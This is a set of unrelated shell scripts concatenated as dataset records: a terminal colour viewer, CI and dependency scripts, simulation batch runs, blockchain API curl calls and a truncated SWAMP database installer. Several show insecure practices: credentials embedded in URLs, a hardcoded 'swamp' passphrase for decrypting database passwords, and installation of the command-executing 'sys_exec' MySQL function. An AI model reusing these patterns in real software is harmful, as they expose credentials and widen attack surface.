and make the display effectively 'full screen'. #\n# -------------------------------------------------------------------------------- #\n\nfunction show_simple_colours\n{\n local local_colors\n\n if [[ \"${LIMITED_MODE}\" == false ]]; then\n show_header \"${SCRIPT_TITLE}\" \"Simple Mode with ${ncolors} colours supported\"\n local_colors=$ncolors\n else\n show_header \"${SCRIPT_TITLE}\" \"Simple Mode limited to ${limited_colors} colours out of ${ncolors} (user limit)\"\n local_colors=$limited_colors\n fi\n\n columns=$((screen_width / 22))\n\n for color in $(eval echo \"{0..$local_colors}\")\n do\n set_background=$(tput setab \"${color}\")\n printf ' %s %s (Code: %3s) ' \"${set_background}\" \"${reset}\" \"${color}\"\n if (( (color + 1) % columns == 0 )); then\n printf '%s\\n' \"${reset}\"\n fi\n done\n if (( (color + 1) % columns != 0 )); then\n printf '%s\\n' \"${reset}\"\n fi\n\n show_footer\n}\n\n# -------------------------------------------------------------------------------- #\n# -c parameter #\n# -------------------------------------------------------------------------------- #\n# This function is run when the user passes -c to the script, and it shows the #\n# user a complete list of all available colour codes and an example of what the #\n# colour will look like. #\n# #\n# The mian difference with complete mode is it will show both the foreground and #\n# and the background colours for every variation possible. #\n# #\n# It uses the 'screen_width' in order to try to make the full use of the terminal #\n# and make the display effectively 'full screen'. #\n# #\n# NOTE: This can take a long time to run especially if you support 256 (or more) #\n# colours as it tries to show every permutation. #\n# -------------------------------------------------------------------------------- #\n\nfunction show_complete_colours\n{\n local local_colors\n local count=0\n\n if [[ \"${LIMITED_MODE}\" == false ]]; then\n show_header \"${SCRIPT_TITLE}\" \"Complete Mode with ${ncolors} colours supported\"\n local_colors=$ncolors\n else\n show_header \"${SCRIPT_TITLE}\" \"Complete Mode limited to ${limited_colors} colours out of ${ncolors} (user limit)\"\n local_colors=$limited_colors\n fi\n\n columns=$((screen_width / 26))\n\n for fg_color in $(eval echo \"{0..$local_colors}\")\n do\n set_foreground=$(tput setaf \"${fg_color}\")\n for bg_color in $(eval echo \"{0..$local_colors}\")\n do\n count=$(( count + 1 ))\n set_background=$(tput setab \"${bg_color}\")\n\n printf '%s F:%3s B:%3s %s' \"${set_background}${set_foreground}\" \"${fg_color}\" \"${bg_color}\" \"${reset}\"\n printf '%s F:%3s B:%3s %s' \"${bold}${set_background}${set_foreground}\" \"${fg_color}\" \"${bg_color}\" \"${reset}\"\n\n if (( count % columns == 0 )); then\n printf '%s\\n' \"${reset}\"\n fi\n done\n done\n\n if (( count % columns != 0 )); then\n printf '%s\\n' \"${reset}\"\n fi\n\n show_footer\n}\n\n# -------------------------------------------------------------------------------- #\n# -t parameter #\n# -------------------------------------------------------------------------------- #\n# This function is run when the user passes -t to the script, and it will prompt #\n# the user to enter 2 values, one for foreground and one for background, it will #\n# then display a test message using those values as colour codes. #\n# -------------------------------------------------------------------------------- #\n\nfunction test_mode\n{\n local fg_color\n local bg_color\n local done=false\n local correct_response=false\n\n show_header \"${SCRIPT_TITLE}\" \"Test Mode with ${ncolors} colours supported\"\n\n while [[ \"${done}\" == false ]]; do\n\n correct_response=false\n while [[ \"${correct_response}\" == false ]]; do\n read -p \"Enter a foreground colour code (0-${ncolors}): \" -r fg_color\n if [[ $fg_color =~ ^[[:digit:]]+$ ]] && [[ ${fg_color} -ge 0 ]] && [[ ${fg_color} -le ${ncolors} ]]; then\n correct_response=true\n fi\n done\n\n correct_response=false\n while [[ \"${correct_response}\" == false ]]; do\n read -p \"Enter a background colour code (0-${ncolors}): \" -r bg_color\n if [[ $bg_color =~ ^[[:digit:]]+$ ]] && [[ ${bg_color} -ge 0 ]] && [[ ${bg_color} -le ${ncolors} ]]; then\n correct_response=true\n fi\n done\n\n set_foreground=$(tput setaf \"${fg_color}\")\n set_background=$(tput setab \"${bg_color}\")\n\n printf '\\t%sThis is what your colours will like%s\\n' \"${set_background}${set_foreground}\" \"${reset}\"\n printf '\\t%sThis is what your colours will like with bold text%s\\n' \"${bold}${set_background}${set_foreground}\" \"${reset}\"\n\n correct_response=false\n while [[ \"${correct_response}\" == false ]]; do\n read -p \"Would you like to run another test (y/n) ? \" -n 1 -r\n echo\n if [[ $REPLY =~ ^[Nn]$ ]]; then\n done=true\n correct_response=true\n elif [[ $REPLY =~ ^[Yy]$ ]]; then\n correct_response=true\n else\n echo \"Please enter Y or N\"\n fi\n done\n done\n show_footer\n}\n\n# -------------------------------------------------------------------------------- #\n# Utiltity Functions #\n# -------------------------------------------------------------------------------- #\n# The following functions are all utility functions used within the script but #\n# are not specific to the display of the colours and only serve to handle things #\n# like, signal handling, user interface and command line option processing. #\n# -------------------------------------------------------------------------------- #\n\n# -------------------------------------------------------------------------------- #\n# Signal Handling #\n# -------------------------------------------------------------------------------- #\n# This function is execute when a SIGINT or SIGTERM is caught. It allows us to #\n# exit the script nice and clean so do we not mess up the end users terminal. #\n# -------------------------------------------------------------------------------- #\n\nfunction control_c\n{\n printf '%s\\n\\n\\n** Trapped CTRL-C **\\n\\n\\n' \"${reset}\"\n show_footer\n exit\n}\n\n# -------------------------------------------------------------------------------- #\n# Center text #\n# -------------------------------------------------------------------------------- #\n# This is a simple function that will center text on a screen, be calculating the #\n# correct amount of padding based on the 'screen_width' and the length of the #\n# text supplied to the function. #\n# -------------------------------------------------------------------------------- #\n\nfunction center_text()\n{\n textsize=${#1}\n span=$(((screen_width + textsize) / 2))\n\n printf '%*s\\n' \"${span}\" \"$1\"\n}\n\n# -------------------------------------------------------------------------------- #\n# Draw Line #\n# -------------------------------------------------------------------------------- #\n# This function will draw a line on the screen to a given width. It does this by #\n# using 'screen_width' and by adding control codes to create an unbroken line. #\n# -------------------------------------------------------------------------------- #\n\nfunction draw_line()\n{\n local start=$'\\e(0' end=$'\\e(B' line='qqqqqqqqqqqqqqqq'\n\n while ((${#line} < screen_width));\n do\n line+=\"$line\";\n done\n printf '%s%s%s\\n' \"$start\" \"${line:0:screen_width}\" \"$end\"\n}\n\n# -------------------------------------------------------------------------------- #\n# Show Header #\n# -------------------------------------------------------------------------------- #\n# This is a simple wrapper function to make display the header easier to do. It #\n# will handle multiple lines passed as seperate parameters. #\n# #\n# In addition it will clear the screen fire, and wrap the header between to #\n# unbroken lines - attempting to make a cleaner interface for the end user. #\n# -------------------------------------------------------------------------------- #\n\nfunction show_header()\n{\n printf '%s' \"${cls}\"\n\n draw_line\n\n if [[ $# -gt 0 ]]; then\n for i in \"$@\"\n do\n center_text \"${i}\"\n done\n draw_line\n fi\n}\n\n# -------------------------------------------------------------------------------- #\n# Show Footer #\n# -------------------------------------------------------------------------------- #\n# A very simple (almost pointless) wrapper which will draw a line after at the #\n# bottom of the screen. We could just called 'draw_line' instead but this was #\n# added for 2 reasons. 1. Constistancy - we have draw_header, 2. Extensibility - #\n# we might want to do more things in the footer at a later date. #\n# -------------------------------------------------------------------------------- #\n\nfunction show_footer()\n{\n draw_line\n}\n\n# -------------------------------------------------------------------------------- #\n# Show Error #\n# -------------------------------------------------------------------------------- #\n# A simple wrapper function to show something was an error. #\n# -------------------------------------------------------------------------------- #\n\nfunction show_error()\n{\n if [[ -n $1 ]]; then\n printf '%s%s%s\\n' \"${red}\" \"${1}\" \"${reset}\"\n fi\n}\n\n# -------------------------------------------------------------------------------- #\n# Init #\n# -------------------------------------------------------------------------------- #\n# A simple init function which will setup anything that is needed at the start of #\n# the script, for example set up the signal handler and work out the width of the #\n# screen that we have available. #\n# -------------------------------------------------------------------------------- #\n\nfunction init()\n{\n # trap ctrl-c and call ctrl_c()\n trap control_c SIGINT\n trap control_c SIGTERM\n}\n\n# -------------------------------------------------------------------------------- #\n# Check Colours #\n# -------------------------------------------------------------------------------- #\n# This function will check to see if we are able to support colours and how many #\n# we are able to support. #\n# #\n# The script will give and error and exit if there is no colour support or there #\n# are less than 8 supported colours. #\n# #\n# NOTE: Do NOT use show_error for the error messages are it requires colour! #\n# -------------------------------------------------------------------------------- #\n\nfunction check_colours()\n{\n if ! test -t 1; then\n printf 'Colour support not available not running inside a terminal - Aborting\\n'\n exit 1\n fi\n\n if ! tput longname > /dev/null 2>&1; then\n printf 'Unknown terminal type %s - Aborting\\n' \"${TERM}\"\n exit 1\n fi\n\n ncolors=$(tput colors)\n\n if ! test -n \"${ncolors}\" || test \"${ncolors}\" -le 7; then\n printf 'Colour support not available or less than 8 colours available - Aborting\\n'\n exit 1\n fi\n\n red=$(tput setaf 1)\n bold=$(tput bold)\n cls=$(tput clear)\n reset=$(tput sgr0)\n screen_width=$(tput cols)\n\n declare -g ncolors\n declare -g red\n declare -g bold\n declare -g cls\n declare -g reset\n declare -g screen_width\n}\n\n# -------------------------------------------------------------------------------- #\n# Usage (-h parameter) #\n# -------------------------------------------------------------------------------- #\n# This function is used to show the user 'how' to use the script. #\n# -------------------------------------------------------------------------------- #\n\nfunction usage()\n{\ncat < install.out\n\n# Show location\nwhich gams\n\n\n# Miniconda: install\n# -b: run in batch mode with no user input\n# -u: update existing installation\n# -p: install prefix\n$CACHE/$CONDAFNAME -b -u -p $HOME/miniconda\n\n# Configure:\n# - give --yes for every command\n# - search conda-forge in addition to the default channels, for e.g. JPype\nconda config --set always_yes true\nconda config --append channels conda-forge\n\n# Update conda and packages in the base environment\nconda update --quiet --name base conda\n\n# Create and activate a named environment for testing message_ix\nconda create --name testing python=$PYVERSION pip\n. activate testing\n\n# Install dependencies\nconda install --name testing --file ci/conda-requirements.txt\npip install --requirement ci/pip-requirements.txt\n\n# Temporary: see https://github.com/IAMconsortium/pyam/issues/281\npip install \"matplotlib>3.0.2\"\n\n# Show information\nconda info --all"} {"text": "scripts/update_deps.sh\n#!/bin/bash\n# Copyright 2017 Istio Authors\n\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n\n# http://www.apache.org/licenses/LICENSE-2.0\n\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nset -o nounset\nset -o errexit\nset -o pipefail\nset -o xtrace\n\ncd \"$(bazel info workspace)\"\ntrap 'echo \"FAILED\" >&2' ERR\n\nprune-vendor() {\n find vendor -type f \\\n -not -iname \"*.c\" \\\n -not -iname \"*.go\" \\\n -not -iname \"*.h\" \\\n -not -iname \"*.proto\" \\\n -not -iname \"*.s\" \\\n -not -iname \"AUTHORS*\" \\\n -not -iname \"CONTRIBUTORS*\" \\\n -not -iname \"COPYING*\" \\\n -not -iname \"LICENSE*\" \\\n -not -iname \"NOTICE*\" \\\n -exec rm '{}' \\;\n}\n\nrm -rf vendor\nexport GO111MODULE=on\nbazel run @go_sdk//:bin/go -- mod tidy\nbazel run //:gazelle -- update-repos --from_file=go.mod --to_macro=repos.bzl%go_repositories\nbazel run @go_sdk//:bin/go -- mod vendor\nprune-vendor\n\"$(dirname \"$0\")\"/update_bazel.sh"} {"text": "commit.sh\n\n#conda config --prepend channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/free/\n#conda config --prepend channels http://mirrors.ustc.edu.cn/anaconda/pkgs/free/\n#conda env create -f environment.yml\n#source activate gluon\n#\n\n#env: jupyter\n#jupyter notebook --generate-config\n#$ ipython\n#from notebook.auth import passwd\n#passwd()\n#Enter password:\n#Verify password:\n#Out[2]: 'sha1:6f6193fcfbd5:614c4ba185334868fc8bbce2e9890b3ef7d1a79b' \n#PYTHONIOENCODING=utf-8 jupyter notebook\n\ngit add -u ./*\ngit commit -m \"by wangzh `date`\"\ngit push origin master"} {"text": "#!/bin/bash\n\n# output version\nbash .ci/printinfo.sh\n\nmake clean > /dev/null\n\necho \"checking...\"\n./helper.pl --check-source --check-makefiles --check-defines|| exit 1\n\nexit 0\n\n# ref: $Format:%D$\n# git commit: $Format:%H$\n# commit time: $Format:%ai$"} {"text": "ns sim-scn3-0.tcl AntHocNet\ngzip -9 -f sim-scn3-0-AntHocNet.nam\nrm -f sim-scn3-0-AntHocNet.nam\njava -classpath \"../libs/anthocnet-tcl-1.0.jar:../libs/commons-io-2.1.jar\" net.sf.anthocnet.CleanTCL \"sim-scn3-0-AntHocNet-trace.tr\"\nrm -f sim-scn3-0-AntHocNet-trace.tr\njava -classpath \"../libs/anthocnet-tcl-1.0.jar:../libs/commons-io-2.1.jar\" net.sf.anthocnet.FindResultTCL \"sim-scn3-0-AntHocNet-trace-clean.tr\"\ncd plot\ngnuplot < sim-scn3-0-AntHocNet-over.gnu\ngnuplot < sim-scn3-0-AntHocNet-total.gnu\ngnuplot < sim-scn3-0-AntHocNet-delivery.gnu\ngnuplot < sim-scn3-0-AntHocNet-average.gnu\ngnuplot < sim-scn3-0-AntHocNet-total-geral.gnu\ncd ..\ngzip -9 -f sim-scn3-0-AntHocNet-trace-clean.tr\nrm -f sim-scn3-0-AntHocNet-trace-clean.tr\n\nns sim-scn3-1.tcl AntHocNet\ngzip -9 -f sim-scn3-1-AntHocNet.nam\nrm -f sim-scn3-1-AntHocNet.nam\njava -classpath \"../libs/anthocnet-tcl-1.0.jar:../libs/commons-io-2.1.jar\" net.sf.anthocnet.CleanTCL \"sim-scn3-1-AntHocNet-trace.tr\"\nrm -f sim-scn3-1-AntHocNet-trace.tr\njava -classpath \"../libs/anthocnet-tcl-1.0.jar:../libs/commons-io-2.1.jar\" net.sf.anthocnet.FindResultTCL \"sim-scn3-1-AntHocNet-trace-clean.tr\"\ncd plot\ngnuplot < sim-scn3-1-AntHocNet-over.gnu\ngnuplot < sim-scn3-1-AntHocNet-total.gnu\ngnuplot < sim-scn3-1-AntHocNet-delivery.gnu\ngnuplot < sim-scn3-1-AntHocNet-average.gnu\ngnuplot < sim-scn3-1-AntHocNet-total-geral.gnu\ncd ..\ngzip -9 -f sim-scn3-1-AntHocNet-trace-clean.tr\nrm -f sim-scn3-1-AntHocNet-trace-clean.tr\n\nns sim-scn3-2.tcl AntHocNet\ngzip -9 -f sim-scn3-2-AntHocNet.nam\nrm -f sim-scn3-2-AntHocNet.nam\njava -classpath \"../libs/anthocnet-tcl-1.0.jar:../libs/commons-io-2.1.jar\" net.sf.anthocnet.CleanTCL \"sim-scn3-2-AntHocNet-trace.tr\"\nrm -f sim-scn3-2-AntHocNet-trace.tr\njava -classpath \"../libs/anthocnet-tcl-1.0.jar:../libs/commons-io-2.1.jar\" net.sf.anthocnet.FindResultTCL \"sim-scn3-2-AntHocNet-trace-clean.tr\"\ncd plot\ngnuplot < sim-scn3-2-AntHocNet-over.gnu\ngnuplot < sim-scn3-2-AntHocNet-total.gnu\ngnuplot < sim-scn3-2-AntHocNet-delivery.gnu\ngnuplot < sim-scn3-2-AntHocNet-average.gnu\ngnuplot < sim-scn3-2-AntHocNet-total-geral.gnu\ncd ..\ngzip -9 -f sim-scn3-2-AntHocNet-trace-clean.tr\nrm -f sim-scn3-2-AntHocNet-trace-clean.tr\n\nns sim-scn3-3.tcl AntHocNet\ngzip -9 -f sim-scn3-3-AntHocNet.nam\nrm -f sim-scn3-3-AntHocNet.nam\njava -classpath \"../libs/anthocnet-tcl-1.0.jar:../libs/commons-io-2.1.jar\" net.sf.anthocnet.CleanTCL \"sim-scn3-3-AntHocNet-trace.tr\"\nrm -f sim-scn3-3-AntHocNet-trace.tr\njava -classpath \"../libs/anthocnet-tcl-1.0.jar:../libs/commons-io-2.1.jar\" net.sf.anthocnet.FindResultTCL \"sim-scn3-3-AntHocNet-trace-clean.tr\"\ncd plot\ngnuplot < sim-scn3-3-AntHocNet-over.gnu\ngnuplot < sim-scn3-3-AntHocNet-total.gnu\ngnuplot < sim-scn3-3-AntHocNet-delivery.gnu\ngnuplot < sim-scn3-3-AntHocNet-average.gnu\ngnuplot < sim-scn3-3-AntHocNet-total-geral.gnu\ncd ..\ngzip -9 -f sim-scn3-3-AntHocNet-trace-clean.tr\nrm -f sim-scn3-3-AntHocNet-trace-clean.tr\n\nns sim-scn3-4.tcl AntHocNet\ngzip -9 -f sim-scn3-4-AntHocNet.nam\nrm -f sim-scn3-4-AntHocNet.nam\njava -classpath \"../libs/anthocnet-tcl-1.0.jar:../libs/commons-io-2.1.jar\" net.sf.anthocnet.CleanTCL \"sim-scn3-4-AntHocNet-trace.tr\"\nrm -f sim-scn3-4-AntHocNet-trace.tr\njava -classpath \"../libs/anthocnet-tcl-1.0.jar:../libs/commons-io-2.1.jar\" net.sf.anthocnet.FindResultTCL \"sim-scn3-4-AntHocNet-trace-clean.tr\"\ncd plot\ngnuplot < sim-scn3-4-AntHocNet-over.gnu\ngnuplot < sim-scn3-4-AntHocNet-total.gnu\ngnuplot < sim-scn3-4-AntHocNet-delivery.gnu\ngnuplot < sim-scn3-4-AntHocNet-average.gnu\ngnuplot < sim-scn3-4-AntHocNet-total-geral.gnu\ncd ..\ngzip -9 -f sim-scn3-4-AntHocNet-trace-clean.tr\nrm -f sim-scn3-4-AntHocNet-trace-clean.tr\n\nns sim-scn3-5.tcl AntHocNet\ngzip -9 -f sim-scn3-5-AntHocNet.nam\nrm -f sim-scn3-5-AntHocNet.nam\njava -classpath \"../libs/anthocnet-tcl-1.0.jar:../libs/commons-io-2.1.jar\" net.sf.anthocnet.CleanTCL \"sim-scn3-5-AntHocNet-trace.tr\"\nrm -f sim-scn3-5-AntHocNet-trace.tr\njava -classpath \"../libs/anthocnet-tcl-1.0.jar:../libs/commons-io-2.1.jar\" net.sf.anthocnet.FindResultTCL \"sim-scn3-5-AntHocNet-trace-clean.tr\"\ncd plot\ngnuplot < sim-scn3-5-AntHocNet-over.gnu\ngnuplot < sim-scn3-5-AntHocNet-total.gnu\ngnuplot < sim-scn3-5-AntHocNet-delivery.gnu\ngnuplot < sim-scn3-5-AntHocNet-average.gnu\ngnuplot < sim-scn3-5-AntHocNet-total-geral.gnu\ncd ..\ngzip -9 -f sim-scn3-5-AntHocNet-trace-clean.tr\nrm -f sim-scn3-5-AntHocNet-trace-clean.tr\n\nns sim-scn3-6.tcl AntHocNet\ngzip -9 -f sim-scn3-6-AntHocNet.nam\nrm -f sim-scn3-6-AntHocNet.nam\njava -classpath \"../libs/anthocnet-tcl-1.0.jar:../libs/commons-io-2.1.jar\" net.sf.anthocnet.CleanTCL \"sim-scn3-6-AntHocNet-trace.tr\"\nrm -f sim-scn3-6-AntHocNet-trace.tr\njava -classpath \"../libs/anthocnet-tcl-1.0.jar:../libs/commons-io-2.1.jar\" net.sf.anthocnet.FindResultTCL \"sim-scn3-6-AntHocNet-trace-clean.tr\"\ncd plot\ngnuplot < sim-scn3-6-AntHocNet-over.gnu\ngnuplot < sim-scn3-6-AntHocNet-total.gnu\ngnuplot < sim-scn3-6-AntHocNet-delivery.gnu\ngnuplot < sim-scn3-6-AntHocNet-average.gnu\ngnuplot < sim-scn3-6-AntHocNet-total-geral.gnu\ncd ..\ngzip -9 -f sim-scn3-6-AntHocNet-trace-clean.tr\nrm -f sim-scn3-6-AntHocNet-trace-clean.tr\n\nns sim-scn3-7.tcl AntHocNet\ngzip -9 -f sim-scn3-7-AntHocNet.nam\nrm -f sim-scn3-7-AntHocNet.nam\njava -classpath \"../libs/anthocnet-tcl-1.0.jar:../libs/commons-io-2.1.jar\" net.sf.anthocnet.CleanTCL \"sim-scn3-7-AntHocNet-trace.tr\"\nrm -f sim-scn3-7-AntHocNet-trace.tr\njava -classpath \"../libs/anthocnet-tcl-1.0.jar:../libs/commons-io-2.1.jar\" net.sf.anthocnet.FindResultTCL \"sim-scn3-7-AntHocNet-trace-clean.tr\"\ncd plot\ngnuplot < sim-scn3-7-AntHocNet-over.gnu\ngnuplot < sim-scn3-7-AntHocNet-total.gnu\ngnuplot < sim-scn3-7-AntHocNet-delivery.gnu\ngnuplot < sim-scn3-7-AntHocNet-average.gnu\ngnuplot < sim-scn3-7-AntHocNet-total-geral.gnu\ncd ..\ngzip -9 -f sim-scn3-7-AntHocNet-trace-clean.tr\nrm -f sim-scn3-7-AntHocNet-trace-clean.tr\n\nns sim-scn3-8.tcl AntHocNet\ngzip -9 -f sim-scn3-8-AntHocNet.nam\nrm -f sim-scn3-8-AntHocNet.nam\njava -classpath \"../libs/anthocnet-tcl-1.0.jar:../libs/commons-io-2.1.jar\" net.sf.anthocnet.CleanTCL \"sim-scn3-8-AntHocNet-trace.tr\"\nrm -f sim-scn3-8-AntHocNet-trace.tr\njava -classpath \"../libs/anthocnet-tcl-1.0.jar:../libs/commons-io-2.1.jar\" net.sf.anthocnet.FindResultTCL \"sim-scn3-8-AntHocNet-trace-clean.tr\"\ncd plot\ngnuplot < sim-scn3-8-AntHocNet-over.gnu\ngnuplot < sim-scn3-8-AntHocNet-total.gnu\ngnuplot < sim-scn3-8-AntHocNet-delivery.gnu\ngnuplot < sim-scn3-8-AntHocNet-average.gnu\ngnuplot < sim-scn3-8-AntHocNet-total-geral.gnu\ncd ..\ngzip -9 -f sim-scn3-8-AntHocNet-trace-clean.tr\nrm -f sim-scn3-8-AntHocNet-trace-clean.tr\n\nns sim-scn3-9.tcl AntHocNet\ngzip -9 -f sim-scn3-9-AntHocNet.nam\nrm -f sim-scn3-9-AntHocNet.nam\njava -classpath \"../libs/anthocnet-tcl-1.0.jar:../libs/commons-io-2.1.jar\" net.sf.anthocnet.CleanTCL \"sim-scn3-9-AntHocNet-trace.tr\"\nrm -f sim-scn3-9-AntHocNet-trace.tr\njava -classpath \"../libs/anthocnet-tcl-1.0.jar:../libs/commons-io-2.1.jar\" net.sf.anthocnet.FindResultTCL \"sim-scn3-9-AntHocNet-trace-clean.tr\"\ncd plot\ngnuplot < sim-scn3-9-AntHocNet-over.gnu\ngnuplot < sim-scn3-9-AntHocNet-total.gnu\ngnuplot < sim-scn3-9-AntHocNet-delivery.gnu\ngnuplot < sim-scn3-9-AntHocNet-average.gnu\ngnuplot < sim-scn3-9-AntHocNet-total-geral.gnu\ncd ..\ngzip -9 -f sim-scn3-9-AntHocNet-trace-clean.tr\nrm -f sim-scn3-9-AntHocNet-trace-clean.tr"} {"text": "#metadata-list -V -Q '{\"name\": \"designsafe metadata\"}' | grep '\"uuid\":' | awk '{print $2}' | sed -e 's/[\\\",]//g' | while read x; do\nmetadata-list -V -Q '{\"name\": \"designsafe metadata\"}' | while read x; do metadata-delete $x; done;"} {"text": "MCLDG/supply-chain-eth\n#############################################################################################################\n# Get blocks & transactions\n#############################################################################################################\n\ncurl --header \"$HDR_AUTH\" --header \"$HDR_CT\" --silent \"$APIURL/ledger/$CONSORTIUM_ID/$ENVIRONMENT_ID/blocks?limit=10\" | jq\n\ncurl --header \"$HDR_AUTH\" --header \"$HDR_CT\" --silent \"$APIURL/ledger/$CONSORTIUM_ID/$ENVIRONMENT_ID/blocks/17283\" | jq\n\ncurl --header \"$HDR_AUTH\" --header \"$HDR_CT\" --silent \"$APIURL/ledger/$CONSORTIUM_ID/$ENVIRONMENT_ID/blocks/17283/transactions\" | jq\n\ncurl --header \"$HDR_AUTH\" --header \"$HDR_CT\" --silent \"$APIURL/ledger/$CONSORTIUM_ID/$ENVIRONMENT_ID/transactions/0xecfd17930703a213d21ad35b79df305b3b73fd4b911476332d93d689e81ea781\" | jq\n\ncurl --header \"$HDR_AUTH\" --header \"$HDR_CT\" --silent \"$APIURL/ledger/$CONSORTIUM_ID/$ENVIRONMENT_ID/transactions/0xecfd17930703a213d21ad35b79df305b3b73fd4b911476332d93d689e81ea781/receipt\" | jq\n\n#############################################################################################################\n# Get contract info\n#############################################################################################################\n\ncurl --header \"$HDR_AUTH\" --header \"$HDR_CT\" --silent \"$APIURL/ledger/$CONSORTIUM_ID/$ENVIRONMENT_ID/addresses/0x969dafa086396e08c030698d206499fc62210c02\" | jq\n\ncurl --header \"$HDR_AUTH\" --header \"$HDR_CT\" --silent \"$APIURL/ledger/$CONSORTIUM_ID/$ENVIRONMENT_ID/addresses/0x969dafa086396e08c030698d206499fc62210c02/transactions\" | jq\n\ncurl --header \"$HDR_AUTH\" --header \"$HDR_CT\" --silent \"$APIURL/ledger/$CONSORTIUM_ID/$ENVIRONMENT_ID/contracts\" | jq\n\ncurl --header \"$HDR_AUTH\" --header \"$HDR_CT\" --silent \"$APIURL/ledger/$CONSORTIUM_ID/$ENVIRONMENT_ID/contracts/0x969dafa086396e08c030698d206499fc62210c02\" | jq\n\n#############################################################################################################\n# Tokens\n#############################################################################################################\n\ncurl --header \"$HDR_AUTH\" --header \"$HDR_CT\" --silent \"$APIURL/contracts\" | jq\n\n#############################################################################################################\n# Other info\n#############################################################################################################\n\ncurl --header \"$HDR_AUTH\" --header \"$HDR_CT\" --silent \"$APIURL/consortia/$CONSORTIUM_ID/zones\" | jq\n\ncurl --header \"$HDR_AUTH\" --header \"$HDR_CT\" --silent \"$APIURL/consortia/$CONSORTIUM_ID/environments/$ENVIRONMENT_ID/configurations\" | jq\n\ncurl --header \"$HDR_AUTH\" --header \"$HDR_CT\" --silent \"$APIURL/consortia/$CONSORTIUM_ID/environments/$ENVIRONMENT_ID/services\" | jq\n\ncurl --request DELETE --header \"$HDR_AUTH\" --header \"$HDR_CT\" --silent \"$APIURL/consortia/$CONSORTIUM_ID/environments/$ENVIRONMENT_ID/services/service_id\" | jq\n\nexport FARMER_CREDS_USERNAME=$CREDS_USERNAME\nexport FARMER_CREDS_PASSWORD=$\nexport FARMER_FULL_URL=https://${FARMER_CREDS_USERNAME}:${FARMER_CREDS_PASSWORD}@${FARMER_NODE_URL_RPC:8}\ncurl --verbose $FARMER_FULL_URL/api/v0/config\n\nHASH=cfc7749b96f63bd31c3c42b5c471bf756814053e847c10f3eb003\nFILENAME=LICENSE\ncurl --silent https://$FARMER_CREDS_USERNAME:$FARMER_CREDS_PASSWORD@${DOCUMENT_STORAGE_URL_HTTP:8}/api/v1/config\ncurl --silent https://$FARMER_CREDS_USERNAME:$FARMER_CREDS_PASSWORD@${DOCUMENT_STORAGE_URL_HTTP:8}/api/v1/search?query=$FILE_NAME\ncurl --silent https://$FARMER_CREDS_USERNAME:$FARMER_CREDS_PASSWORD@${DOCUMENT_STORAGE_URL_HTTP:8}/api/v1/search?query=$HASH,by_hash=true\ncurl --silent https://$FARMER_CREDS_USERNAME:$FARMER_CREDS_PASSWORD@${DOCUMENT_STORAGE_URL_HTTP:8}/api/v1/documents"} {"text": "#!/bin/bash\n\n# This file is subject to the terms and conditions defined in\n# 'LICENSE.txt', which is part of this source code distribution.\n#\n# Copyright 2012-2020 Software Assurance Marketplace\n\n#\n# Install the SWAMP database tables, stored procedures, and records.\n#\n\nencountered_error=0\ntrap 'encountered_error=1; echo \"Error (unexpected): In $(basename \"$0\"): $BASH_COMMAND\" 1>&2' ERR\nset -o errtrace\n\nBINDIR=\"$(dirname \"$0\")\"\nMODE=\"$1\"\nSWAMP_CONTEXT=\"$2\"\n\n############################################################################\n\n#\n# Note: 'mysql_init.pl' (used below) starts the 'mysql' service and leaves\n# it running, so we can't use the '{start,stop}_mysql_service' functions from\n# 'db_support.functions'.\n#\n\n. /opt/swamp/sbin/db_support.functions\n\nfunction do_clean_up() {\n remove_mysql_options_file\n \"$BINDIR/manage_services.bash\" stop mysql\n}\n\nfunction exit_with_error() {\n do_clean_up\n exit 1\n}\n\ntrap 'exit_with_error' INT TERM\n\n############################################################################\n\nfunction install_directory() {\n #\n # Nothing to do\n #\n return 0\n}\n\nfunction upgrade_directory() {\n if [ -r /opt/swamp/sql/upgrades_directory/upgrade_script.sql ]; then\n echo \"Running upgrade scripts\"\n (cd /opt/swamp/sql/upgrades_directory ; $mysql_command < upgrade_script.sql)\n fi\n echo \"Upgrading stored procedures\"\n $mysql_command < /opt/swamp/sql/project_procs.sql\n}\n\nfunction install_data() {\n #\n # Add database users. The passwords need to be escaped for SQL.\n #\n echo \"Initializing database users\"\n\n dbweb=$(openssl enc -d -aes-256-cbc -in /etc/.mysql_web -pass pass:swamp)\n dbweb=${dbweb//\\'/\\'\\'}\n dbweb=${dbweb//\\\\/\\\\\\\\}\n\n dbjava=$(openssl enc -d -aes-256-cbc -in /etc/.mysql_java -pass pass:swamp)\n dbjava=${dbjava//\\'/\\'\\'}\n dbjava=${dbjava//\\\\/\\\\\\\\}\n\n echo \"CREATE USER 'web'@'%' IDENTIFIED BY '${dbweb}';\" | $mysql_command mysql\n echo \"CREATE USER 'java_agent'@'%' IDENTIFIED BY '${dbjava}';\" | $mysql_command mysql\n echo \"CREATE USER 'java_agent'@'localhost' IDENTIFIED BY '${dbjava}';\" | $mysql_command mysql\n\n echo \"Installing 'sys_exec'\"\n $mysql_command < /opt/swamp/sql/sys_exec.sql\n\n echo \"Running pre-scripts\"\n $mysql_command < /opt/swamp/sql/swamp_in_a_box_install_prescript.sql\n if [ \"$SWAMP_CONTEXT\" = \"-distribution\" ]; then\n $mysql_command < /opt/swamp/sql/swamp_in_a_box_install_prescript_distribution.sql\n fi\n if [ \"$SWAMP_CONTEXT\" = \"-singleserver\" ]; then\n $mysql_command < /opt/swamp/sql/swamp_in_a_box_install_prescript_single_server.sql\n fi\n\n echo \"Installing tables\"\n $mysql_command < /opt/swamp/sql/project_tables.sql\n $mysql_command < /opt/swamp/sql/platform_store_tables.sql\n $mysql_command < /opt/swamp/sql/package_store_tables.sql\n $mysql_command < /opt/swamp/sql/assessment_tables.sql\n $mysql_command < /opt/swamp/sql/viewer_store_tables.sql\n $mysql_command < /opt/swamp/sql/tool_shed_tables.sql\n $mysql_command < /opt/swamp/sql/metric_tables.sql\n\n echo \"Installing stored procedures\"\n $mysql_command < /opt/swamp/sql/project_procs.sql\n $mysql_command < /opt/swamp/sql/platform_store_procs.sql\n $mysql_command < /opt/swamp/sql/tool_shed_procs.sql\n $mysql_command < /opt/swamp/sql/package_store_procs.sql\n $mysql_command < /opt/swamp/sql/assessment_procs.sql\n $mysql_command < 